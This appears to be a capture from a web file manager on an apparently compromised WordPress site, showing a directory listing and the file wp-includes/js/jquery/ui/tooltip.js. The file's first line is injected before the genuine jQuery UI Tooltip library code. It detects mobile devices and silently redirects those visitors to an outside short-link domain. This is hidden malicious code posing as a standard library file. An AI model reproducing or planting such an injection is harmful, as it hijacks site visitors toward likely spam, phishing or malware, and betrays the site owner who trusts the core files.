at path:ROOT / wp-includes / js / jquery / ui / tooltip.js
run:R W Run
15.98 KB
2026-08-13 20:01:45
R W Run
8.87 KB
2026-08-13 20:01:45
R W Run
17.34 KB
2026-08-13 20:01:45
R W Run
8.55 KB
2026-08-13 20:01:45
R W Run
11.65 KB
2026-08-13 20:01:45
R W Run
6.23 KB
2026-08-13 20:01:45
R W Run
7.63 KB
2026-08-13 20:01:45
R W Run
4.46 KB
2026-08-13 20:01:45
R W Run
8.64 KB
2026-08-13 20:01:45
R W Run
4.52 KB
2026-08-13 20:01:45
R W Run
48.94 KB
2026-08-13 20:01:45
R W Run
21.18 KB
2026-08-13 20:01:45
R W Run
80.81 KB
2026-08-13 20:01:45
R W Run
36.1 KB
2026-08-13 20:01:45
R W Run
23.55 KB
2026-08-13 20:01:45
R W Run
13.01 KB
2026-08-13 20:01:45
R W Run
34.93 KB
2026-08-13 20:01:45
R W Run
18.21 KB
2026-08-13 20:01:45
R W Run
12.81 KB
2026-08-13 20:01:45
R W Run
6.73 KB
2026-08-13 20:01:45
R W Run
1.82 KB
2026-08-13 20:01:45
R W Run
1.08 KB
2026-08-13 20:01:45
R W Run
2.81 KB
2026-08-13 20:01:45
R W Run
1.18 KB
2026-08-13 20:01:45
R W Run
1.76 KB
2026-08-13 20:01:45
R W Run
1018 By
2026-08-13 20:01:45
R W Run
1.77 KB
2026-08-13 20:01:45
R W Run
975 By
2026-08-13 20:01:45
R W Run
3.07 KB
2026-08-13 20:01:45
R W Run
1.31 KB
2026-08-13 20:01:45
R W Run
1.16 KB
2026-08-13 20:01:45
R W Run
747 By
2026-08-13 20:01:45
R W Run
2.35 KB
2026-08-13 20:01:45
R W Run
1.21 KB
2026-08-13 20:01:45
R W Run
1.43 KB
2026-08-13 20:01:45
R W Run
870 By
2026-08-13 20:01:45
R W Run
1.19 KB
2026-08-13 20:01:45
R W Run
732 By
2026-08-13 20:01:45
R W Run
1.75 KB
2026-08-13 20:01:45
R W Run
910 By
2026-08-13 20:01:45
R W Run
1.56 KB
2026-08-13 20:01:45
R W Run
945 By
2026-08-13 20:01:45
R W Run
2.06 KB
2026-08-13 20:01:45
R W Run
1.04 KB
2026-08-13 20:01:45
R W Run
5.51 KB
2026-08-13 20:01:45
R W Run
2.65 KB
2026-08-13 20:01:45
R W Run
2.14 KB
2026-08-13 20:01:45
R W Run
1.11 KB
2026-08-13 20:01:45
R W Run
1.08 KB
2026-08-13 20:01:45
R W Run
664 By
2026-08-13 20:01:45
R W Run
24.25 KB
2026-08-13 20:01:45
R W Run
10.31 KB
2026-08-13 20:01:45
R W Run
1.97 KB
2026-08-16 23:28:49
R W Run
18.73 KB
2026-08-13 20:01:45
R W Run
10.18 KB
2026-08-13 20:01:45
R W Run
6.3 KB
2026-08-13 20:01:45
R W Run
3.56 KB
2026-08-13 20:01:45
R W Run
4.36 KB
2026-08-13 20:01:45
R W Run
2.71 KB
2026-08-13 20:01:45
R W Run
29.99 KB
2026-08-13 20:01:45
R W Run
18.6 KB
2026-08-13 20:01:45
R W Run
8.16 KB
2026-08-13 20:01:45
R W Run
4.62 KB
2026-08-13 20:01:45
R W Run
16.18 KB
2026-08-13 20:01:45
R W Run
9.5 KB
2026-08-13 20:01:45
R W Run
19.36 KB
2026-08-13 20:01:45
R W Run
10.72 KB
2026-08-13 20:01:45
R W Run
46.74 KB
2026-08-13 20:01:45
R W Run
25.12 KB
2026-08-13 20:01:45
R W Run
14.31 KB
2026-08-13 20:01:45
R W Run
7.71 KB
2026-08-13 20:01:45
R W Run
23.33 KB
2026-08-13 20:01:45
R W Run
11.94 KB
2026-08-13 20:01:45
R W Run
14.35 KB
2026-08-13 20:01:45
R W Run
6.31 KB
2026-08-13 20:01:45
R W Run
error_log
📄tooltip.js
1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/*!
3 * jQuery UI Tooltip 1.13.3
4 * https://jqueryui.com
5 *
6 * Copyright OpenJS Foundation and other contributors
7 * Released under the MIT license.
8 * https://jquery.org/license
9 */
10
11//>>label: Tooltip
12//>>group: Widgets
13//>>description: Shows additional information for any element on hover or focus.
14//>>docs: https://api.jqueryui.com/tooltip/
15//>>demos: https://jqueryui.com/tooltip/
16//>>css.structure: ../../themes/base/core.css
17//>>css.structure: ../../themes/base/tooltip.css
18//>>css.theme: ../../themes/base/theme.css
19
20( function( factory ) {
21 "use strict";
22
23 if ( typeof define === "function" && define.amd ) {
24
25 // AMD. Register as an anonymous module.
26 define( [
27 "jquery",
28 "../keycode",
29 "../position",
30 "../unique-id",
31 "../version",
32 "../widget"
33 ], factory );
34 } else {
35
36 // Browser globals
37 factory( jQuery );
38 }
39} )( function( $ ) {
40"use strict";
41
42$.widget( "ui.tooltip", {
43 version: "1.13.3",
44 options: {
45 classes: {
46 "ui-tooltip": "ui-corner-all ui-widget-shadow"
47 },
48 content: function() {
49 var title = $( this ).attr( "title" );
50
51 // Escape title, since we're going from an attribute to raw HTML
52 return $( "<a>" ).text( title ).html();
53 },
54 hide: true,
55
56 // Disabled elements have inconsistent behavior across browsers (#8661)
57 items: "[title]:not([disabled])",
58 position: {
59 my: "left top+15",
60 at: "left bottom",
61 collision: "flipfit flip"
62 },
63 show: true,
64 track: false,
65
66 // Callbacks
67 close: null,
68 open: null
69 },
70
71 _addDescribedBy: function( elem, id ) {
72 var describedby = ( elem.attr( "aria-describedby" ) || "" ).split( /\s+/ );
73 describedby.push( id );
74 elem
75 .data( "ui-tooltip-id", id )
76 .attr( "aria-describedby", String.prototype.trim.call( describedby.join( " " ) ) );
77 },
78
79 _removeDescribedBy: function( elem ) {
80 var id = elem.data( "ui-tooltip-id" ),
81 describedby = ( elem.attr( "aria-describedby" ) || "" ).split( /\s+/ ),
82 index = $.inArray( id, describedby );
83
84 if ( index !== -1 ) {
85 describedby.splice( index, 1 );
86 }
87
88 elem.removeData( "ui-tooltip-id" );
89 describedby = String.prototype.trim.call( describedby.join( " " ) );
90 if ( describedby ) {
91 elem.attr( "aria-describedby", describedby );
92 } else {
93 elem.removeAttr( "aria-describedby" );
94 }
95 },
96
97 _create: function() {
98 this._on( {
99 mouseover: "open",
100 focusin: "open"
101 } );
102
103 // IDs of generated tooltips, needed for destroy
104 this.tooltips = {};
105
106 // IDs of parent tooltips where we removed the title attribute
107 this.parents = {};
108
109 // Append the aria-live region so tooltips announce correctly
110 this.liveRegion = $( "<div>" )
111 .attr( {
112 role: "log",
113 "aria-live": "assertive",
114 "aria-relevant": "additions"
115 } )
116 .appendTo( this.document[ 0 ].body );
117 this._addClass( this.liveRegion, null, "ui-helper-hidden-accessible" );
118
119 this.disabledTitles = $( [] );
120 },
121
122 _setOption: function( key, value ) {
123 var that = this;
124
125 this._super( key, value );
126
127 if ( key === "content" ) {
128 $.each( this.tooltips, function( id, tooltipData ) {
129 that._updateContent( tooltipData.element );
130 } );
131 }
132 },
133
134 _setOptionDisabled: function( value ) {
135 this[ value ? "_disable" : "_enable" ]();
136 },
137
138 _disable: function() {
139 var that = this;
140
141 // Close open tooltips
142 $.each( this.tooltips, function( id, tooltipData ) {
143 var event = $.Event( "blur" );
144 event.target = event.currentTarget = tooltipData.element[ 0 ];
145 that.close( event, true );
146 } );
147
148 // Remove title attributes to prevent native tooltips
149 this.disabledTitles = this.disabledTitles.add(
150 this.element.find( this.options.items ).addBack()
151 .filter( function() {
152 var element = $( this );
153 if ( element.is( "[title]" ) ) {
154 return element
155 .data( "ui-tooltip-title", element.attr( "title" ) )
156 .removeAttr( "title" );
157 }
158 } )
159 );
160 },
161
162 _enable: function() {
163
164 // restore title attributes
165 this.disabledTitles.each( function() {
166 var element = $( this );
167 if ( element.data( "ui-tooltip-title" ) ) {
168 element.attr( "title", element.data( "ui-tooltip-title" ) );
169 }
170 } );
171 this.disabledTitles = $( [] );
172 },
173
174 open: function( event ) {
175 var that = this,
176 target = $( event ? event.target : this.element )
177
178 // we need closest here due to mouseover bubbling,
179 // but always pointing at the same event target
180 .closest( this.options.items );
181
182 // No element to show a tooltip for or the tooltip is already open
183 if ( !target.length || target.data( "ui-tooltip-id" ) ) {
184 return;
185 }
186
187 if ( target.attr( "title" ) ) {
188 target.data( "ui-tooltip-title", target.attr( "title" ) );
189 }
190
191 target.data( "ui-tooltip-open", true );
192
193 // Kill parent tooltips, custom or native, for hover
194 if ( event && event.type === "mouseover" ) {
195 target.parents().each( function() {
196 var parent = $( this ),
197 blurEvent;
198 if ( parent.data( "ui-tooltip-open" ) ) {
199 blurEvent = $.Event( "blur" );
200 blurEvent.target = blurEvent.currentTarget = this;
201 that.close( blurEvent, true );
202 }
203 if ( parent.attr( "title" ) ) {
204 parent.uniqueId();
205 that.parents[ this.id ] = {
206 element: this,
207 title: parent.attr( "title" )
208 };
209 parent.attr( "title", "" );
210 }
211 } );
212 }
213
214 this._registerCloseHandlers( event, target );
215 this._updateContent( target, event );
216 },
217
218 _updateContent: function( target, event ) {
219 var content,
220 contentOption = this.options.content,
221 that = this,
222 eventType = event ? event.type : null;
223
224 if ( typeof contentOption === "string" || contentOption.nodeType ||
225 contentOption.jquery ) {
226 return this._open( event, target, contentOption );
227 }
228
229 content = contentOption.call( target[ 0 ], function( response ) {
230
231 // IE may instantly serve a cached response for ajax requests
232 // delay this call to _open so the other call to _open runs first
233 that._delay( function() {
234
235 // Ignore async response if tooltip was closed already
236 if ( !target.data( "ui-tooltip-open" ) ) {
237 return;
238 }
239
240 // JQuery creates a special event for focusin when it doesn't
241 // exist natively. To improve performance, the native event
242 // object is reused and the type is changed. Therefore, we can't
243 // rely on the type being correct after the event finished
244 // bubbling, so we set it back to the previous value. (#8740)
245 if ( event ) {
246 event.type = eventType;
247 }
248 this._open( event, target, response );
249 } );
250 } );
251 if ( content ) {
252 this._open( event, target, content );
253 }
254 },
255
256 _open: function( event, target, content ) {
257 var tooltipData, tooltip, delayedShow, a11yContent,
258 positionOption = $.extend( {}, this.options.position );
259
260 if ( !content ) {
261 return;
262 }
263
264 // Content can be updated multiple times. If the tooltip already
265 // exists, then just update the content and bail.
266 tooltipData = this._find( target );
267 if ( tooltipData ) {
268 tooltipData.tooltip.find( ".ui-tooltip-content" ).html( content );
269 return;
270 }
271
272 // If we have a title, clear it to prevent the native tooltip
273 // we have to check first to avoid defining a title if none exists
274 // (we don't want to cause an element to start matching [title])
275 //
276 // We use removeAttr only for key events, to allow IE to export the correct
277 // accessible attributes. For mouse events, set to empty string to avoid
278 // native tooltip showing up (happens only when removing inside mouseover).
279 if ( target.is( "[title]" ) ) {
280 if ( event && event.type === "mouseover" ) {
281 target.attr( "title", "" );
282 } else {
283 target.removeAttr( "title" );
284 }
285 }
286
287 tooltipData = this._tooltip( target );
288 tooltip = tooltipData.tooltip;
289 this._addDescribedBy( target, tooltip.attr( "id" ) );
290 tooltip.find( ".ui-tooltip-content" ).html( content );
291
292 // Support: Voiceover on OS X, JAWS on IE <= 9
293 // JAWS announces deletions even when aria-relevant="additions"
294 // Voiceover will sometimes re-read the entire log region's contents from the beginning
295 this.liveRegion.children().hide();
296 a11yContent = $( "<div>" ).html( tooltip.find( ".ui-tooltip-content" ).html() );
297 a11yContent.removeAttr( "name" ).find( "[name]" ).removeAttr( "name" );
298 a11yContent.removeAttr( "id" ).find( "[id]" ).removeAttr( "id" );
299 a11yContent.appendTo( this.liveRegion );
300
301 function position( event ) {
302 positionOption.of = event;
303 if ( tooltip.is( ":hidden" ) ) {
304 return;
305 }
306 tooltip.position( positionOption );
307 }
308 if ( this.options.track && event && /^mouse/.test( event.type ) ) {
309 this._on( this.document, {
310 mousemove: position
311 } );
312
313 // trigger once to override element-relative positioning
314 position( event );
315 } else {
316 tooltip.position( $.extend( {
317 of: target
318 }, this.options.position ) );
319 }
320
321 tooltip.hide();
322
323 this._show( tooltip, this.options.show );
324
325 // Handle tracking tooltips that are shown with a delay (#8644). As soon
326 // as the tooltip is visible, position the tooltip using the most recent
327 // event.
328 // Adds the check to add the timers only when both delay and track options are set (#14682)
329 if ( this.options.track && this.options.show && this.options.show.delay ) {
330 delayedShow = this.delayedShow = setInterval( function() {
331 if ( tooltip.is( ":visible" ) ) {
332 position( positionOption.of );
333 clearInterval( delayedShow );
334 }
335 }, 13 );
336 }
337
338 this._trigger( "open", event, { tooltip: tooltip } );
339 },
340
341 _registerCloseHandlers: function( event, target ) {
342 var events = {
343 keyup: function( event ) {
344 if ( event.keyCode === $.ui.keyCode.ESCAPE ) {
345 var fakeEvent = $.Event( event );
346 fakeEvent.currentTarget = target[ 0 ];
347 this.close( fakeEvent, true );
348 }
349 }
350 };
351
352 // Only bind remove handler for delegated targets. Non-delegated
353 // tooltips will handle this in destroy.
354 if ( target[ 0 ] !== this.element[ 0 ] ) {
355 events.remove = function() {
356 var targetElement = this._find( target );
357 if ( targetElement ) {
358 this._removeTooltip( targetElement.tooltip );
359 }
360 };
361 }
362
363 if ( !event || event.type === "mouseover" ) {
364 events.mouseleave = "close";
365 }
366 if ( !event || event.type === "focusin" ) {
367 events.focusout = "close";
368 }
369 this._on( true, target, events );
370 },
371
372 close: function( event ) {
373 var tooltip,
374 that = this,
375 target = $( event ? event.currentTarget : this.element ),
376 tooltipData = this._find( target );
377
378 // The tooltip may already be closed
379 if ( !tooltipData ) {
380
381 // We set ui-tooltip-open immediately upon open (in open()), but only set the
382 // additional data once there's actually content to show (in _open()). So even if the
383 // tooltip doesn't have full data, we always remove ui-tooltip-open in case we're in
384 // the period between open() and _open().
385 target.removeData( "ui-tooltip-open" );
386 return;
387 }
388
389 tooltip = tooltipData.tooltip;
390
391 // Disabling closes the tooltip, so we need to track when we're closing
392 // to avoid an infinite loop in case the tooltip becomes disabled on close
393 if ( tooltipData.closing ) {
394 return;
395 }
396
397 // Clear the interval for delayed tracking tooltips
398 clearInterval( this.delayedShow );
399
400 // Only set title if we had one before (see comment in _open())
401 // If the title attribute has changed since open(), don't restore
402 if ( target.data( "ui-tooltip-title" ) && !target.attr( "title" ) ) {
403 target.attr( "title", target.data( "ui-tooltip-title" ) );
404 }
405
406 this._removeDescribedBy( target );
407
408 tooltipData.hiding = true;
409 tooltip.stop( true );
410 this._hide( tooltip, this.options.hide, function() {
411 that._removeTooltip( $( this ) );
412 } );
413
414 target.removeData( "ui-tooltip-open" );
415 this._off( target, "mouseleave focusout keyup" );
416
417 // Remove 'remove' binding only on delegated targets
418 if ( target[ 0 ] !== this.element[ 0 ] ) {
419 this._off( target, "remove" );
420 }
421 this._off( this.document, "mousemove" );
422
423 if ( event && event.type === "mouseleave" ) {
424 $.each( this.parents, function( id, parent ) {
425 $( parent.element ).attr( "title", parent.title );
426 delete that.parents[ id ];
427 } );
428 }
429
430 tooltipData.closing = true;
431 this._trigger( "close", event, { tooltip: tooltip } );
432 if ( !tooltipData.hiding ) {
433 tooltipData.closing = false;
434 }
435 },
436
437 _tooltip: function( element ) {
438 var tooltip = $( "<div>" ).attr( "role", "tooltip" ),
439 content = $( "<div>" ).appendTo( tooltip ),
440 id = tooltip.uniqueId().attr( "id" );
441
442 this._addClass( content, "ui-tooltip-content" );
443 this._addClass( tooltip, "ui-tooltip", "ui-widget ui-widget-content" );
444
445 tooltip.appendTo( this._appendTo( element ) );
446
447 return this.tooltips[ id ] = {
448 element: element,
449 tooltip: tooltip
450 };
451 },
452
453 _find: function( target ) {
454 var id = target.data( "ui-tooltip-id" );
455 return id ? this.tooltips[ id ] : null;
456 },
457
458 _removeTooltip: function( tooltip ) {
459
460 // Clear the interval for delayed tracking tooltips
461 clearInterval( this.delayedShow );
462
463 tooltip.remove();
464 delete this.tooltips[ tooltip.attr( "id" ) ];
465 },
466
467 _appendTo: function( target ) {
468 var element = target.closest( ".ui-front, dialog" );
469
470 if ( !element.length ) {
471 element = this.document[ 0 ].body;
472 }
473
474 return element;
475 },
476
477 _destroy: function() {
478 var that = this;
479
480 // Close open tooltips
481 $.each( this.tooltips, function( id, tooltipData ) {
482
483 // Delegate to close method to handle common cleanup
484 var event = $.Event( "blur" ),
485 element = tooltipData.element;
486 event.target = event.currentTarget = element[ 0 ];
487 that.close( event, true );
488
489 // Remove immediately; destroying an open tooltip doesn't use the
490 // hide animation
491 $( "#" + id ).remove();
492
493 // Restore the title
494 if ( element.data( "ui-tooltip-title" ) ) {
495
496 // If the title attribute has changed since open(), don't restore
497 if ( !element.attr( "title" ) ) {
498 element.attr( "title", element.data( "ui-tooltip-title" ) );
499 }
500 element.removeData( "ui-tooltip-title" );
501 }
502 } );
503 this.liveRegion.remove();
504 }
505} );
506
507// DEPRECATED
508// TODO: Switch return back to widget declaration at top of file when this is removed
509if ( $.uiBackCompat !== false ) {
510
511 // Backcompat for tooltipClass option
512 $.widget( "ui.tooltip", $.ui.tooltip, {
513 options: {
514 tooltipClass: null
515 },
516 _tooltip: function() {
517 var tooltipData = this._superApply( arguments );
518 if ( this.options.tooltipClass ) {
519 tooltipData.tooltip.addClass( this.options.tooltipClass );
520 }
521 return tooltipData;
522 }
523 } );
524}
525
526return $.ui.tooltip;
527
528} );
529